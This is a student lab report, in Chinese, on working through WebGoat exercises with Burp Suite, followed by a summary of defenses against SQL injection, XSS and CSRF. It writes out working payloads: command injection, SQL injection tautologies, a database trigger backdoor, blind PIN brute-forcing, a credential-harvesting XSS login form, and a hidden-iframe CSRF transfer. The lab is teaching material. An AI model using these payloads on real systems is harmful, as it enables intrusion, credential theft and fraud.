20145221高其_Web安全基礎實踐
目錄
實踐目標
- (1)理解經常使用網絡攻擊技術的基本原理。
- (2)Webgoat實踐下相關實驗。
WebGoat
- WebGoat是由著名的OWASP負責維護的一個漏洞百出的J2EE Web應用程序,這些漏洞並不是程序中的bug,而是故意設計用來說授Web應用程序安全課程的。這個應用程序提供了一個逼真的教學環境,爲用戶完成課程提供了有關的線索。
- 由於WebGoat是基於java開發的軟件,因此它具備平臺無關性,在各類操做平臺上均可以運行,因此本次實驗所處的系統爲kali機
- 在命令行中輸入如下指令便可運行相關
jar
包
java -jar webgoat-container-7.0.1-war-exec.jar
- WebGoat默認使用8080端口,因此在看到相關提示後便可開始:
INFO: Starting ProtocolHandler ["http-bio-8080"]
BurpSuite
- Burp Suite 是用於攻擊web 應用程序的集成平臺。它包含了許多工具,併爲這些工具設計了許多接口,以促進加快攻擊應用程序的過程。
- 配置本機BurpSuite
- 在
Proxy->Option
中選擇add
添加項,設置代理IP及其端口(我設置的是8088和127.0.0.1),添加完畢後選擇run
啓動
- 在瀏覽器中(以火狐舉例),在
Preferences->Advanced
中選擇Settings
,勾選Manual proxy configuration
,輸入剛剛設置的IP與端口便可
- 而後在
Proxy->intercept
點擊`「Intercept is off」,便可啓用代理
Injection Flaws
Command Injection
- 這個界面能夠執行系統命令並返回給用戶,因此應該在請求項裏面添加shell命令,執行
ifconfig
- 具體來講,就是用前文提到的
BurpSuite
工具攔截請求,並將其中的參數改成(個人是這樣):
AccessControlMatrix.help"& ifconfig"
- 表示執行這2個指令,在網頁的最後能看到ifconfig的結果,成功
Numeric SQL Injection
- 要求:嘗試用SQL注入,使得能查到全部的天氣
- 思路也很簡單,直接構造永真式,便可查找到全部記錄
- 既能夠按照上一題的思路用工具捕包修改,也能夠直接按
F12
修改網頁源文件,將須要查找的value改成:101 or 1=1
- 點擊go,看到全部城市的天氣,成功
Log Spoofing
- 題目的意思是要你寫一個SQL字符串,由於網頁會將你輸入錯誤的用戶名返回給你,因此咱們的目標是使得網頁返回給你的結果顯示的你登陸成功同樣
- 因此在用戶名那構造語句:
gq%0d%0aLogin Succeeded for username: admin
LAB:SQL Injection
Stage 1:String SQL Injection
- 根據描述,是要求你在不知道密碼的前提下,還能登陸成功
- 那也就只能用SQL注入了,利用SQL相關語法,利用
'
進行先後封閉,構成一個永真式,這一題較爲基礎,構造方法也不少,我用的是'or 1='1
- 須要注意的是:若是直接寫永真式,會超過字符長度限制,而通常永真式超過了限制的8字符,因此得
F12
查看源代碼,對密碼輸入長度進行擴大,再進行注入;或者能夠構造一個密碼,使得儘可能提早封閉,如我上述的密碼,恰好8個字符。
- 爲了能取得權限,最好選擇admin登陸,最後左邊欄會有提示成功
Stage 2:Parameterized Query #1
- 這個沒有測試成功,最後才發現題目中有這樣一句話,可能只有開發版的才能夠成功吧
-
THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAThtml
Stage 3:Numeric SQL Injection
- 題目要求:登陸Larry帳戶,可是能查看Boss的信息
- 因此首先根據
Stage 1
中的萬能密鑰取得Larry權限,這樣咱們就能夠點擊ViewProfile
來查看相關信息了,顯然此時只能查到本身的信息
- 但細究其原理不難發現與以前一模一樣,此時要查看老闆信息,本質上仍是查詢數據庫中字段爲老闆的那條記錄並輸出,因此仍然能夠在請求時注入,不一樣的是此時沒有輸入框提供注入字符串,因此咱們要藉助前文所提到的
BurpSuite
工具,攔截此時的請求包,構造SQL請求參數,須要將employee_id
的值改成101 or 1=1
- 但測試後發現仍舊顯示Larry的信息,猜測是否是由於界面過小隻能顯示一個?我這樣的注入能夠將全部的信息全查詢到,那怎樣讓它輸出的第一個就是咱們想要的老闆信息呢?
- 仔細觀察Larry的信息表能夠發現有
Salary
這一字段,說明數據表中也存在,那麼對於一個老闆來講工資最高,我就能夠以工資爲條件,對查詢結果進行個排序,構造SQL語句以下:
101 or 1=1 order by salary desc
- 成功,老闆工資450k,畢竟老闆!
Stage 4:Parameterized Query #2
String SQL Injection
- 要求:要你輸入正確的Last name登陸進去
- 顯然我啥都不知道,只能用萬能密鑰試一試了,根據前文輸入:
'or 1='1
- 成功,由於爲永真,因此任何用戶的信息都看見了
Database Backdoors
- 根據題目要求是要你使用多條語句的SQL注入,更新數據表
- 根據前一篇博客的多條語句注入練習,在此,設置以下SQL語句:
101; update employee set salary=10000
- 發現數據表全部人員工資都等於10000已經更新,成功
- 以上是第一步要求,第二步要求:更加高級的是插入後門,下邊這個後門好象是建立新用戶的時候會自動修改郵箱爲你的郵箱
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
Blind Numeric SQL Injection
- 數字盲注,有些時候存在SQL注入,可是獲取不到咱們須要的信息,此時能夠經過SQL語句的條件判斷,進行盲注。
- 好比這一關,咱們知道一個
cc_number=1111222233334444
,可是想知道其pin在pins table裏的值,可使用盲注進行爆破,輸入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
- 打開
BurpSuite
工具監聽,捕獲到第一條請求報文,由於須要反覆嘗試咱們能夠經過該工具進行暴力破解
- 右擊報文選擇
send to intruder
,而後在Intruder
下選擇相關設置:
- 在
Target
中,設置本機IP地址HOST,和端口號,也就是WebGoat的地址和端口號
- 在
Positions
中,選擇Sniper
模式,而後用光標選中須要暴力窮舉的變量,在此處是account_number
後的值,而後點擊右側的add
添加(在此以前點擊clear
清空全部的)
- 在
Payloads
中,選擇type類型爲number,而後設置變化範圍,並設置步長爲1,這樣能夠精確地找到數據包變化的number,從而便於咱們確認位置
- 在
Options
中,選擇Start attack
開始攻擊
- 找到數據包大小變化的位置
2364
,用2364登陸,成功!
Cross-Site Scripting (XSS)
Phishing with XSS
- 反射型XSS是最經常使用,也是使用得最廣的一種攻擊方式。它經過給別人發送帶有惡意腳本代碼參數的URL,當URL地址被打開時,特有的惡意代碼參數被HTML解析、執行。它的特色是非持久化,必須用戶點擊帶有特定參數的連接才能引發。
- 將下邊的代碼輸入到文本框,XSS會形成一個釣魚的登陸界面,用來騙取登陸帳戶和密碼
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
Stored XSS Attacks
- 這是一種最典型的儲存型XSS的例子,由於沒有對用戶的輸入進行編碼,因此用戶A能夠任意輸入,而後用戶B點擊用戶A的留言,觸發了XSS,致使中招
- 具體操做是這樣的:
- title能夠任意輸入,根據第一次嘗試能夠發現,輸入的這個能夠做爲一個超連接更新保存在本界面,點擊後便可查看輸入內容
- Message輸入消息,能夠嵌入一段js代碼,用戶點擊後便可觸發,例如輸入:
<script>alert("20145221 attack succeed!");</script>
Reflected XSS Attacks
- 根據題目能夠知道這是一個反射型的XSS攻擊,類同於第一個,在交互輸入的位置有XSS漏洞,直接構造一段腳本便可發起攻擊,例如輸入如下代碼便可成功:
<script>alert("20145221 attack succeed!");</script>
Cross Site Request Forgery (CSRF)
- 這裏是一個儲存型XSS和CSRF結合的示例,CSRF就是冒名登陸,用代碼僞造請求
- 這裏是把CSRF惡意代碼利用儲存型XSS放到了網頁上,經過留言Message裏輸入,構造惡意代碼以下
<iframe src="attack?Screen=504&menu=900&transferFunds=5000"></iframe>
- 當用戶點擊這個留言,就會觸發,顯示已轉走5000元
- 注意:上述screen和menu參數的值和網站右邊顯示的要保持一致
- 若是想讓用戶在不查覺的狀況下,能夠將
<iframe>
中的長和寬參數設爲1像素,這樣就看不見了
總結
SQL注入攻擊原理,如何防護
原理
- 就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
- 具體來講,它是利用現有應用程序,將(惡意)的SQL命令注入到後臺數據庫引擎執行的能力,它能夠經過在Web表單中輸入(惡意)SQL語句獲得一個存在安全漏洞的網站上的數據庫,而不是按照設計者意圖去執行SQL語句。
防護
- 檢查變量數據類型和格式
- 若是你的SQL語句是相似
where id={$id}
這種形式,數據庫裏全部的id都是數字,那麼就應該在SQL被執行前,檢查確保變量id是int類型;若是是接受郵箱,那就應該檢查並嚴格確保變量必定是郵箱的格式,其餘的類型好比日期、時間等也是一個道理。總結起來:只要是有固定格式的變量,在SQL語句執行前,應該嚴格按照固定格式去檢查,確保變量是咱們預想的格式,這樣很大程度上能夠避免SQL注入攻擊。
- 過濾特殊符號
- 對於沒法肯定固定格式的變量,必定要進行特殊符號過濾或轉義處理。以PHP爲例,一般是採用
addslashes函數
,它會在指定的預約義字符前添加反斜槓轉義,這些預約義的字符是:單引號 (') 雙引號 (") 反斜槓 () NULL。
- 綁定變量,使用預編譯語句
- MySQL的mysqli驅動提供了預編譯語句的支持,不一樣的程序語言,都分別有使用預編譯語句的方法
- 這樣作的好處就是,若是我輸入密碼:
'or 1='1
,那他也只會被看成密碼來處理,不會和sql語句其餘結構關聯
XSS攻擊的原理,如何防護
原理
- 惡意攻擊者往Web頁面裏插入惡意腳本代碼,而程序對於用戶輸入內容未過濾,當用戶瀏覽該頁之時,嵌入其中Web裏面的腳本代碼會被執行,從而達到惡意攻擊用戶的特殊目的。
防護
- 一種方法是在表單提交或者url參數傳遞前,對須要的參數進行過濾
- 在輸入方面對全部用戶提交內容進行可靠的輸入驗證,提交內容包括URL、查詢關鍵字、http頭、post數據等
- 在輸出方面,在用戶輸內容中使用
<XMP>
標籤。標籤內的內容不會解釋,直接顯示。
- 嚴格執行字符輸入字數控制,由於XSS代碼每每不少,因此要對字符數進行控制
CSRF攻擊原理,如何防護
原理
- 跨站請求僞造,攻擊者盜用了你的身份,以你的名義發送惡意請求。
- CSRF可以作的事情包括:以你名義發送郵件,發消息,盜取你的帳號,甚至於購買商品,虛擬貨幣轉帳
- 形成的問題包括:我的隱私泄露以及財產安全。
防護
- 驗證碼
- 能夠在某些敏感操做過程當中,加入驗證碼,以確認用戶身份
- Token
- CSRF能攻擊成功,根本緣由是:操做所帶的參數均被攻擊者猜想到。既然知道根本緣由,咱們就對症下藥,利用Token。當向服務器傳參數時,帶上Token。這個Token是一個隨機值,而且由服務器和用戶同時持有。當用戶提交表單時帶上Token值,服務器就能驗證表單和session中的Token是否一致。
實驗感想
- 在安全領域,通常用帽子的顏色來比喻黑客的善與惡,「白帽子」和」黑帽子」是就是兩個徹底對立的羣體。對於黑帽子而言,他們只要找到系統的一個切入點就能夠達到入侵破壞的目的,而白帽子必須將本身系統全部可能被突破的地方都設防,以保證系統的安全運行。
- 看起來好像是不公平的,可是安全世界裏的規則就是這樣,可能咱們的網站1000處都佈防的很好,考慮的很周到,可是隻要有一個地方疏忽了,攻擊者就會利用這個點進行突破,讓咱們另外的1000處努力白費。
- 而如今咱們不少網絡模型都是B/S結構,這樣web安全問題就愈來愈突出了,本次實踐只是冰山一角,真正現實中可能會遇到更多更復雜的問題。